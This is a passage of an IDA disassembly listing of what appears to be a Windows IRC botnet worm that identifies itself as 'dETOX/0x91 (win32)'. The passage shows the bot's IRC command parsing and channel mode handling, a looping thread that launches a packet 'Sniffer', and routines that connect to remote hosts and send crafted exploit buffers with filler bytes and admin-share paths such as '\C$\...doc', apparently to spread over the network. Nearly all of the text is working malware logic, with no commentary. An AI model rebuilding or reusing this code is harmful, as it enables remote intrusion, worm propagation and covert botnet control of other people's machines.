		push	offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
		push	eax
		push	eax
		push	eax
		push	offset aUserSSSSNickS ;	"USER %s %s %s :%s\r\nNICK %s\r\n"
		call	sub_405185
		add	esp, 18h
		jmp	loc_405CD3
; ---------------------------------------------------------------------------


loc_4058F3:				; CODE XREF: sub_4055A6+319j
		push	offset a432	; "432"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405939
		push	0Ah
		push	4
		call	sub_40A818
		push	eax
		call	sub_40A77F
		mov	dword_40B278, eax
		and	byte_40B274, 0
		and	byte_40B240, 0
		push	dword_40B280
		call	sub_408616
		add	esp, 10h
		jmp	loc_405720
; ---------------------------------------------------------------------------


loc_405939:				; CODE XREF: sub_4055A6+35Cj
		push	offset a471	; "471"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405706
		push	offset a473	; "473"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405706
		push	offset a474	; "474"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405706
		push	offset a475	; "475"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405706
		push	offset a480	; "480"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405706
		push	offset a513	; "513"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4059E1
		cmp	[ebp+var_298], eax
		jz	loc_405CD3
		cmp	[ebp+var_294], eax
		jz	loc_405CD3
		push	[ebp+var_294]
		push	[ebp+var_298]
		push	offset aSS_0	; "%s %s\r\n"
		jmp	loc_4056E8
; ---------------------------------------------------------------------------


loc_4059E1:				; CODE XREF: sub_4055A6+40Bj
		mov	[ebp+var_2C], esi
		mov	eax, [ebp+var_2AC]
		mov	[ebp+var_28], eax
		mov	esi, 100h
		push	esi
		push	0
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_40AC10
		push	esi
		push	0
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40AC10
		push	esi
		push	0
		lea	eax, [ebp+var_4B8]
		push	eax
		call	sub_40AC10
		push	esi
		push	0
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_40AC10
		push	offset asc_401D2C ; "!"
		push	ebx
		call	sub_40AB9A
		add	esp, 38h
		mov	esi, eax
		sub	esi, ebx
		mov	[ebp+var_134], esi
		cmp	esi, 1
		jl	loc_405CD3
		push	esi
		push	ebx
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_40AC28
		lea	ebx, [ebx+esi+1]
		mov	[ebp+var_2B8], ebx
		push	offset a@	; "@"
		push	ebx
		call	sub_40AB9A
		add	esp, 14h
		mov	esi, eax
		sub	esi, ebx
		mov	[ebp+var_134], esi
		cmp	esi, 1
		jl	loc_405CD3
		push	esi
		push	ebx
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40AC28
		lea	ebx, [ebx+esi+1]
		mov	[ebp+var_2B8], ebx
		push	edi
		push	ebx
		call	sub_40AB9A
		add	esp, 14h
		mov	esi, eax
		sub	esi, ebx
		mov	[ebp+var_134], esi
		cmp	esi, 1
		jl	loc_405CD3
		push	esi
		push	ebx
		lea	eax, [ebp+var_4B8]
		push	eax
		call	sub_40AC28
		lea	esi, [ebx+esi+1]
		mov	[ebp+var_2B8], esi
		push	offset asc_401D24 ; ":"
		push	esi
		call	sub_40AB9A
		add	esp, 14h
		sub	eax, esi
		mov	[ebp+var_134], eax
		push	1
		pop	ebx
		cmp	eax, ebx
		jl	loc_405CD3
		lea	esi, [esi+eax+1]
		mov	[ebp+var_2B8], esi
		push	esi
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_40ABA0
		push	offset dword_401C40
		lea	eax, [ebp+var_4B8]
		push	eax
		call	sub_40A95F
		add	esp, 10h
		test	al, al
		jz	loc_405CD3
		push	edi
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_40ABB8
		pop	ecx
		pop	ecx
		mov	[ebp+var_2B4], eax
		mov	[ebp+var_130], ebx


loc_405B44:				; CODE XREF: sub_4055A6+5C4j
		cmp	[ebp+var_130], 2
		jge	short loc_405B6C
		push	edi
		push	0
		call	sub_40ABB8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_130]
		mov	[ebp+ecx*4+var_2B4], eax
		inc	[ebp+var_130]
		jmp	short loc_405B44
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_4055A6+5A5j
		push	dword_40B278
		mov	edi, [ebp+var_2B4]
		push	edi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405BAB
		push	offset asc_401D20 ; "*"
		push	edi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405BAB
		push	edi
		push	dword_40B278
		call	sub_40A95F
		pop	ecx
		pop	ecx
		test	al, al
		jz	loc_405CD3


loc_405BAB:				; CODE XREF: sub_4055A6+5DCj
					; sub_4055A6+5EDj
		push	dword_40B278
		push	[ebp+var_28]
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405BC8
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_28], eax


loc_405BC8:				; CODE XREF: sub_4055A6+617j
		push	edi
		call	sub_40ABD2
		lea	eax, [eax+esi+1]
		mov	[ebp+var_20], eax
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_404530
		push	esi
		call	sub_40AC16
		push	[ebp+var_1C]
		call	sub_40AC16
		jmp	loc_4057D8
; ---------------------------------------------------------------------------


loc_405BF5:				; CODE XREF: sub_4055A6+249j
					; sub_4055A6+25Ej
		cmp	byte_40B240, 0
		jnz	short loc_405C31
		push	dword_40B278
		push	offset aModeSI	; "MODE	%s +i\r\n"
		call	sub_405185
		pop	ecx
		pop	ecx
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA8[eax]
		push	off_401BA4[eax]
		push	offset dword_40195C
		call	sub_405185
		add	esp, 0Ch


loc_405C31:				; CODE XREF: sub_4055A6+656j
		mov	edi, offset aSniffer ; "Sniffer"
		push	edi
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		jnz	short loc_405C52
		push	edi
		push	1
		push	eax
		push	offset sub_4098E2
		call	sub_40A45C
		add	esp, 10h


loc_405C52:				; CODE XREF: sub_4055A6+699j
		push	offset a@	; "@"
		push	ebx
		call	sub_40AB9A
		mov	esi, eax
		mov	[ebp+var_4BC], esi
		push	dword_40B244
		call	sub_40715A
		push	eax
		call	sub_4095E2
		add	esp, 10h
		test	al, al
		jz	short loc_405C95
		inc	esi
		push	esi
		push	off_403730
		call	sub_40ABA0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_40124C
		jmp	short loc_405CC5
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_4055A6+6D5j
		lea	edi, [esi+1]
		push	edi
		mov	esi, dword_40124C
		call	esi ; dword_40124C
		cmp	dword_40B244, eax
		jz	short loc_405CD3
		push	edi
		call	sub_4095E2
		pop	ecx
		test	al, al
		jnz	short loc_405CD3
		push	edi
		push	off_403730
		call	sub_40ABA0
		pop	ecx
		pop	ecx
		push	edi
		call	esi ; dword_40124C


loc_405CC5:				; CODE XREF: sub_4055A6+6EDj
		mov	dword_40B244, eax
		jmp	short loc_405CD3
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_405CD3:				; CODE XREF: sub_4055A6+E9j
					; sub_4055A6+14Aj ...
		or	[ebp+var_4], 0FFFFFFFFh
		lea	esp, [ebp-4D8h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4055A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405CEC	proc near		; DATA XREF: sub_40933F+121o

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404418
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	esi, offset aSniffer ; "Sniffer"


loc_405D1B:				; CODE XREF: sub_405CEC+B3j
		push	offset aMapi	; "MAPI"
		call	sub_408953
		pop	ecx
		test	al, al
		jnz	short loc_405D31
		call	sub_408A88
		jmp	short loc_405D36
; ---------------------------------------------------------------------------


loc_405D31:				; CODE XREF: sub_405CEC+3Cj
		call	sub_40899B


loc_405D36:				; CODE XREF: sub_405CEC+43j
		cmp	byte_40B240, bl
		jnz	short loc_405D67
		cmp	byte_40B274, bl
		jz	short loc_405D67
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA8[eax]
		push	off_401BA4[eax]
		push	offset dword_40195C
		call	sub_405185
		add	esp, 0Ch


loc_405D67:				; CODE XREF: sub_405CEC+50j
					; sub_405CEC+58j
		call	sub_40AAA5
		test	al, al
		jz	short loc_405D78
		push	1
		call	dword_4010F0	; ExitProcess


loc_405D78:				; CODE XREF: sub_405CEC+82j
		push	esi
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		jnz	short loc_405D94
		push	esi
		push	1
		push	ebx
		push	offset sub_4098E2
		call	sub_40A45C
		add	esp, 10h


loc_405D94:				; CODE XREF: sub_405CEC+95j
		push	4650h
		call	dword_4010F4	; Sleep
		jmp	loc_405D1B
sub_405CEC	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		call	dword_4010EC	; ExitThread

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DB7	proc near		; DATA XREF: MEW:off_402BE4o

var_1B7C	= byte ptr -1B7Ch
var_1A18	= byte ptr -1A18h
var_B7C		= byte ptr -0B7Ch
var_A18		= byte ptr -0A18h
var_97C		= byte ptr -97Ch
var_974		= dword	ptr -974h
var_96C		= dword	ptr -96Ch
var_964		= byte ptr -964h
var_920		= byte ptr -920h
var_900		= byte ptr -900h
var_8FC		= byte ptr -8FCh
var_8F8		= byte ptr -8F8h
var_8F4		= byte ptr -8F4h
var_8F0		= byte ptr -8F0h
var_898		= byte ptr -898h
var_892		= byte ptr -892h
var_88A		= byte ptr -88Ah
var_886		= byte ptr -886h
var_882		= byte ptr -882h
var_87C		= byte ptr -87Ch
var_818		= byte ptr -818h
var_810		= dword	ptr -810h
var_808		= dword	ptr -808h
var_798		= dword	ptr -798h
var_794		= dword	ptr -794h
var_764		= dword	ptr -764h
var_760		= dword	ptr -760h
var_748		= dword	ptr -748h
var_68C		= dword	ptr -68Ch
var_4B8		= dword	ptr -4B8h
var_4B0		= dword	ptr -4B0h
var_4A8		= byte ptr -4A8h
var_484		= byte ptr -484h
var_478		= byte ptr -478h
var_17C		= byte ptr -17Ch
var_90		= byte ptr -90h
var_86		= byte ptr -86h
var_82		= byte ptr -82h
var_4A		= byte ptr -4Ah
var_46		= byte ptr -46h
var_42		= byte ptr -42h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1A18h
		call	sub_40ABE0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	2
		push	dword ptr [edi+8]
		call	sub_4096C8
		xor	esi, esi
		pop	ecx
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_8], eax
		jz	loc_40609D
		cmp	eax, 1
		jz	loc_40609D
		mov	eax, [edi+4]
		push	7
		imul	eax, 2Ch
		push	offset dword_402260
		push	dword_402BEC[eax]
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp+var_A18]
		push	dword_40B244
		push	200h
		push	eax
		call	sub_407617
		add	esp, 1Ch
		cmp	eax, esi
		mov	[ebp+var_4], eax
		push	esi
		jnz	short loc_405E2E
		call	dword_4010EC	; ExitThread


loc_405E2E:				; CODE XREF: sub_405DB7+6Fj
		push	esi
		push	esi
		push	6
		push	1
		push	2
		call	dword_401200
		mov	[ebp+arg_0], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		call	sub_40AC10
		mov	ax, [edi]
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	eax
		call	dword_401230
		mov	[ebp+var_16], ax
		mov	eax, [edi+8]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_405E83
		call	dword_4010EC	; ExitThread


loc_405E83:				; CODE XREF: sub_405DB7+C4j
		mov	ebx, dword_401244
		push	48h
		push	offset dword_401DE0
		push	[ebp+arg_0]
		call	ebx ; dword_401244
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_405EA1
		call	dword_4010EC	; ExitThread


loc_405EA1:				; CODE XREF: sub_405DB7+E2j
		lea	eax, [ebp+var_1A18]
		push	1000h
		push	eax
		push	[ebp+arg_0]
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405EC2
		push	esi
		call	dword_4010EC	; ExitThread


loc_405EC2:				; CODE XREF: sub_405DB7+102j
		mov	eax, [ebp+var_4]
		push	10h
		add	eax, 0D7h
		pop	ecx
		cdq
		idiv	ecx
		push	0Ch
		mov	edi, 0B3h
		pop	eax
		sub	eax, edx
		jns	short loc_405EDF
		add	edi, 10h


loc_405EDF:				; CODE XREF: sub_405DB7+123j
		push	360h
		lea	eax, [ebp+var_818]
		push	offset dword_401E60
		push	eax
		sub	edi, edx
		call	sub_40AC2E
		push	10h
		lea	eax, [ebp+var_4B8]
		push	offset dword_4021C4
		push	eax
		call	sub_40AC2E
		push	30h
		lea	eax, [ebp+var_4A8]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp+var_478]
		push	90h
		push	eax
		call	sub_40AC10
		push	[ebp+var_4]
		lea	esi, [edi+3A0h]
		lea	eax, [ebp+var_A18]
		push	eax
		lea	eax, [ebp+esi+var_818]
		push	eax
		call	sub_40AC2E
		add	esi, [ebp+var_4]
		push	3Ch
		push	offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
		lea	eax, [ebp+esi+var_818]
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		add	esi, 3Ch
		push	30h
		lea	eax, [ebp+esi+var_818]
		push	offset dword_402218
		push	eax
		call	sub_40AC2E
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		add	esi, 30h
		dec	eax
		jz	short loc_405FA1
		dec	eax
		jz	short loc_405F98
		dec	eax
		push	4
		jnz	short loc_405F9A
		push	offset dword_402254
		jmp	short loc_405FA8
; ---------------------------------------------------------------------------


loc_405F98:				; CODE XREF: sub_405DB7+1D3j
		push	4


loc_405F9A:				; CODE XREF: sub_405DB7+1D8j
		push	offset dword_402250
		jmp	short loc_405FA8
; ---------------------------------------------------------------------------


loc_405FA1:				; CODE XREF: sub_405DB7+1D0j
		push	4
		push	offset dword_40224C


loc_405FA8:				; CODE XREF: sub_405DB7+1DFj
					; sub_405DB7+1E8j
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_40AC2E
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_810]
		add	esp, 0Ch
		lea	eax, [edi+eax+30h]
		xor	edi, edi
		push	edi
		push	esi
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_810], ecx
		mov	ecx, [ebp+var_808]
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_808], ecx
		mov	ecx, [ebp+var_798]
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_798], ecx
		mov	ecx, [ebp+var_794]
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_794], ecx
		mov	ecx, [ebp+var_764]
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_764], ecx
		mov	ecx, [ebp+var_760]
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_760], ecx
		mov	ecx, [ebp+var_748]
		lea	ecx, [ecx+eax-0Ch]
		mov	[ebp+var_748], ecx
		mov	ecx, [ebp+var_68C]
		lea	ecx, [ecx+eax-0Ch]
		cdq
		sub	eax, edx
		mov	[ebp+var_68C], ecx
		sar	eax, 1
		add	[ebp+var_4B8], eax
		add	[ebp+var_4B0], eax
		lea	eax, [ebp+var_818]
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_401244
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_40606B
		call	dword_4010EC	; ExitThread


loc_40606B:				; CODE XREF: sub_405DB7+2ACj
		lea	eax, [ebp+var_1A18]
		push	1000h
		push	eax
		push	[ebp+arg_0]
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40608C
		push	edi
		call	dword_4010EC	; ExitThread


loc_40608C:				; CODE XREF: sub_405DB7+2CCj
		push	[ebp+arg_0]
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread


loc_40609D:				; CODE XREF: sub_405DB7+26j
					; sub_405DB7+2Fj
		push	esi
		call	dword_4010EC	; ExitThread
		push	ebp
		mov	ebp, esp
		mov	eax, 1B7Ch
		call	sub_40ABE0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	7
		push	offset dword_402260
		mov	eax, [edi+4]
		imul	eax, 2Ch
		push	dword_402BEC[eax]
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp+var_B7C]
		push	dword_40B244
		push	200h
		push	eax
		call	sub_407617
		xor	ebx, ebx
		add	esp, 1Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jnz	short loc_4060FB
		push	ebx
		call	dword_4010EC	; ExitThread


loc_4060FB:				; CODE XREF: sub_405DB7+33Bj
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_40AC10
		mov	eax, [edi+8]
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ax, [edi]
		push	2
		pop	esi
		push	eax
		mov	word ptr [ebp+var_14], si
		call	dword_401230
		push	ebx
		push	ebx
		push	ebx
		push	6
		push	1
		push	esi
		mov	word ptr [ebp+var_14+2], ax
		call	dword_401200
		mov	edi, eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		mov	[ebp+arg_0], edi
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		push	ebx
		jnz	short loc_406151
		call	dword_4010EC	; ExitThread


loc_406151:				; CODE XREF: sub_405DB7+392j
		push	48h
		push	offset dword_402268
		push	edi
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		push	ebx
		jnz	short loc_40616B
		call	dword_4010EC	; ExitThread


loc_40616B:				; CODE XREF: sub_405DB7+3ACj
		lea	eax, [ebp+var_1B7C]
		push	1000h
		push	eax
		push	edi
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40618A
		push	ebx
		call	dword_4010EC	; ExitThread


loc_40618A:				; CODE XREF: sub_405DB7+3CAj
		mov	edi, 168h


loc_40618F:				; CODE XREF: sub_405DB7+3EDj
		push	7Ah
		push	61h
		call	sub_40A818
		mov	[ebp+ebx+var_17C], al
		inc	ebx
		pop	ecx
		cmp	ebx, edi
		pop	ecx
		jl	short loc_40618F
		push	0Ah
		lea	eax, [ebp+var_90]
		push	offset loc_402358
		push	eax
		call	sub_40AC2E
		push	esi
		lea	eax, [ebp+var_86]
		push	offset loc_4023A8
		push	eax
		call	sub_40AC2E
		push	4
		lea	eax, [ebp+var_82]
		pop	ebx
		push	ebx
		push	offset loc_4023A0
		push	eax
		call	sub_40AC2E
		push	esi
		lea	eax, [ebp+var_4A]
		push	offset loc_4023A4
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp+var_46]
		push	(offset	loc_40239B+1)
		push	eax
		call	sub_40AC2E
		push	0Bh
		lea	eax, [ebp+var_42]
		push	offset loc_40234C
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		lea	eax, [ebp+var_97C]
		push	18h
		push	offset dword_4022B4
		push	eax
		call	sub_40AC2E
		push	44h
		lea	eax, [ebp+var_964]
		push	offset dword_4022D0
		push	eax
		call	sub_40AC2E
		mov	esi, 90h
		push	20h
		lea	eax, [ebp+var_920]
		push	esi
		push	eax
		call	sub_40AC10
		push	ebx
		lea	eax, [ebp+var_900]
		push	offset loc_402364
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp+var_8FC]
		push	offset loc_402398
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp+var_8F8]
		push	offset dword_402390
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		lea	eax, [ebp+var_8F4]
		push	ebx
		push	offset loc_402394
		push	eax
		call	sub_40AC2E
		push	58h
		lea	eax, [ebp+var_8F0]
		push	esi
		push	eax
		call	sub_40AC10
		push	6
		lea	eax, [ebp+var_898]
		push	offset loc_40236C
		push	eax
		call	sub_40AC2E
		push	8
		lea	eax, [ebp+var_892]
		push	esi
		push	eax
		call	sub_40AC10
		push	ebx
		lea	eax, [ebp+var_88A]
		push	offset loc_402374
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp+var_886]
		push	esi
		push	eax
		call	sub_40AC10
		add	esp, 48h
		lea	eax, [ebp+var_882]
		push	6
		push	offset loc_40237C
		push	eax
		call	sub_40AC2E
		mov	ebx, [ebp+var_4]
		mov	eax, 3E6h
		sub	eax, ebx
		push	eax
		lea	eax, [ebp+var_87C]
		push	esi
		push	eax
		call	sub_40AC10
		mov	esi, 4E6h
		lea	eax, [ebp+var_B7C]
		sub	esi, ebx
		push	ebx
		push	eax
		lea	eax, [ebp+esi+var_97C]
		push	eax
		call	sub_40AC2E
		add	esi, ebx
		lea	eax, [ebp+var_17C]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_97C]
		push	eax
		call	sub_40AC2E
		add	esi, edi
		push	0Ah
		push	offset off_402384
		lea	eax, [ebp+esi+var_97C]
		push	eax
		call	sub_40AC2E
		add	esi, 0Ah
		push	32h
		push	offset dword_402318
		lea	eax, [ebp+esi+var_97C]
		push	eax
		call	sub_40AC2E
		add	esi, 32h
		add	esp, 48h
		xor	edi, edi
		mov	[ebp+var_974], esi
		lea	eax, [esi-18h]
		push	edi
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_97C]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_4063AA
		call	dword_4010EC	; ExitThread


loc_4063AA:				; CODE XREF: sub_405DB7+5EBj
		lea	eax, [ebp+var_1B7C]
		push	1000h
		push	eax
		push	[ebp+arg_0]
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4063CB
		push	edi
		call	dword_4010EC	; ExitThread


loc_4063CB:				; CODE XREF: sub_405DB7+60Bj
		push	[ebp+arg_0]
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread
sub_405DB7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063DC	proc near		; CODE XREF: MEW:00406974p
					; MEW:004069A6p ...

var_8BB0	= byte ptr -8BB0h
var_8B48	= byte ptr -8B48h
var_6AD8	= byte ptr -6AD8h
var_6A68	= byte ptr -6A68h
var_5FA4	= byte ptr -5FA4h
var_4A00	= byte ptr -4A00h
var_49FF	= byte ptr -49FFh
var_3974	= byte ptr -3974h
var_2EA8	= byte ptr -2EA8h
var_2EA7	= byte ptr -2EA7h
var_2EA4	= byte ptr -2EA4h
var_26C0	= byte ptr -26C0h
var_26B0	= byte ptr -26B0h
var_238C	= byte ptr -238Ch
var_2388	= byte ptr -2388h
var_237C	= byte ptr -237Ch
var_20F4	= byte ptr -20F4h
var_2078	= byte ptr -2078h
var_18A8	= byte ptr -18A8h
var_13FD	= byte ptr -13FDh
var_1110	= byte ptr -1110h
var_1070	= byte ptr -1070h
var_964		= dword	ptr -964h
var_954		= byte ptr -954h
var_940		= byte ptr -940h
var_300		= byte ptr -300h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 8BB0h
		call	sub_40ABE0
		mov	eax, dword_4029D4
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], eax
		mov	eax, dword_4029D8
		push	7
		push	offset dword_402260
		push	[ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp+var_300]
		push	dword_40B244
		push	200h
		push	eax
		call	sub_407617
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40681D
		push	[ebp+arg_C]
		lea	eax, [ebp+var_38]
		push	offset loc_4029C8
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]


loc_40644E:				; CODE XREF: sub_4063DC+82j
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_40644E
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_4025C4
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40ABD2
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40AC2E
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_40ABD2
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40ABD2
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+arg_0+3]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40ABD2
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_40AC2E
		mov	edi, [ebp+arg_8]
		add	esp, 2Ch
		test	edi, edi
		push	4
		pop	ebx
		jz	loc_4065D2
		mov	esi, 0DACh
		lea	eax, [ebp+var_2EA4]
		push	esi
		push	90h
		push	eax
		call	sub_40AC10
		lea	edi, ds:4029B4h[edi*4]
		push	ebx
		lea	eax, [ebp+var_26C0]
		push	edi
		push	eax
		call	sub_40AC2E
		push	[ebp+var_8]
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_26B0]
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp+var_238C]
		push	offset loc_4029C0
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp+var_2388]
		push	edi
		push	eax
		call	sub_40AC2E
		push	[ebp+var_8]
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_237C]
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		xor	ecx, ecx
		lea	eax, [ebp+var_49FF]


loc_406588:				; CODE XREF: sub_4063DC+1BEj
		mov	dl, [ebp+ecx+var_2EA4]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, esi
		jl	short loc_406588
		and	[ebp+var_2EA8],	0
		and	[ebp+var_2EA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_8BB0]
		push	esi
		push	31h
		push	eax
		call	sub_40AC10
		push	esi
		lea	eax, [ebp+var_6AD8]
		push	31h
		push	eax
		call	sub_40AC10
		add	esp, 18h
		jmp	short loc_406626
; ---------------------------------------------------------------------------


loc_4065D2:				; CODE XREF: sub_4063DC+123j
		push	7D0h
		lea	eax, [ebp+var_1110]
		push	90h
		push	eax
		call	sub_40AC10
		push	[ebp+var_8]
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_1070]
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40ABD2
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_954]
		push	eax
		call	sub_40AC2E
		mov	eax, dword_4029B4
		add	esp, 28h
		mov	[ebp+var_964], eax


loc_406626:				; CODE XREF: sub_4063DC+1F4j
		push	0E29h
		lea	eax, [ebp+var_20F4]
		push	31h
		push	eax
		call	sub_40AC10
		movsx	eax, byte ptr [ebp+arg_0+3]
		add	esp, 0Ch
		add	eax, ebx
